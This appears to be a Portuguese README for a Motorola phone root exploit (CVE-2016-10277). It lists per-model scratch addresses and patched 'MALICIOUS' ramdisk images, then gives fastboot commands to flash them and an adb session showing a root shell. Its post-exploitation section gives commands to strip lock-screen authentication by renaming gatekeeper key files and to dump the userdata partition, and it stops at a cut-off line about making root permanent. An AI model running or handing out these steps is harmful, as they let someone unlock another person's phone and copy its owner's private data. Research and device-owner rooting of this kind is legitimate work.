Explorando CVE-2016-10277

Mais informações em: https://alephsecurity.com/2017/06/07/initroot-moto/

Se você só quer verificar se o seu dispositivo é vulnerável, pode ser mais rápido se você apenas gravar o ramdisk de fábrica (sem nenhuma modificação). Se for o seu caso, basta procurar por initroot-*-STOCK*.cpio.gz.

Motorola XT-1033

• Scratch Address: 0x11000000
• Padding: 64MB
• Ramdisk de fábrica com padding: initroot-xt1033-p64-STOCK.cpio.gz
• Ramdisk de fábrica com patch e padding: initroot-xt1033-p64-MALICIOUS.cpio.gz

Motorola XT-1040

• Scratch Address: 0x11000000
• Padding: 64MB
• Ramdisk de fábrica com padding: initroot-xt1040-p64-STOCK.cpio.gz
• Ramdisk de fábrica com patch e padding: initroot-xt1040-p64-MALICIOUS.cpio.gz

Motorola XT-1068

• Scratch Address: 0x11000000
• Padding: 64MB
• Ramdisk de fábrica com padding: initroot-xt1068-p64-STOCK.cpio.gz
• Ramdisk de fábrica com patch e padding: initroot-xt1068-p64-MALICIOUS.cpio.gz

Motorola XT-1069

• Scratch Address: 0x11000000
• Padding: 64MB
• Ramdisk de fábrica com padding: initroot-xt1069-p64-STOCK.cpio.gz
• Ramdisk de fábrica com patch e padding: initroot-xt1069-p64-MALICIOUS.cpio.gz

Motorola XT-1078

• Scratch Address: 0x11000000
• Padding: 64MB
• Ramdisk de fábrica com padding: initroot-xt1078-p64-STOCK.cpio.gz
• Ramdisk de fábrica com patch e padding: initroot-xt1078-p64-MALICIOUS.cpio.gz

Motorola XT-1514

• Scratch Address: 0x90000000
• Padding: 64MB
• Ramdisk de fábrica com padding: initroot-xt1514-p64-STOCK.cpio.gz
• Ramdisk de fábrica com patch e padding: initroot-xt1514-p64-MALICIOUS.cpio.gz

Executando e verificando o acesso root:

• Fazendo flash e resolvendo bootloops:

  git clone https://github.com/leosol/initroot.git
  cd xt1040 (or any other folder)
  use ./run-malicious.sh, run-stockramfs.sh and solve-bootloop.sh (if you have any bootloop)
  Or use the following commands:
  fastboot flash aleph $FILE_NAME
  fastboot oem config fsg-id "a initrd=SCRATCH+PAD,LENGTH"
  fastboot continue
  #use the following to solve bootloops
  fastboot oem config fsg-id ""
  

• Verificando privilégios de root:

  root@debian-vaio:~/motoramfs/xt1040# adb devices
  List of devices attached
  * daemon not running. starting it now on port 5037 *
  * daemon started successfully *
  T0092020C5	device
  
  root@debian-vaio:~/motoramfs/xt1040# adb shell
  root@peregrine:/ # getenforce
  >Permissive
  

• O que posso fazer com root?

  #remove authentication as pointed out by @kraftdenker (tested on xt1068)
  mv /data/system/gatekeeper.password.key /data/system/_gatekeeper.password.key
  mv /data/system/gatekeeper.pattern.key /data/system/_gatekeeper.pattern.key
  
  #dump your data
  adb pull /dev/block/platform/msm_sdcc.1/by-name/userdata
  
  #or make it permanent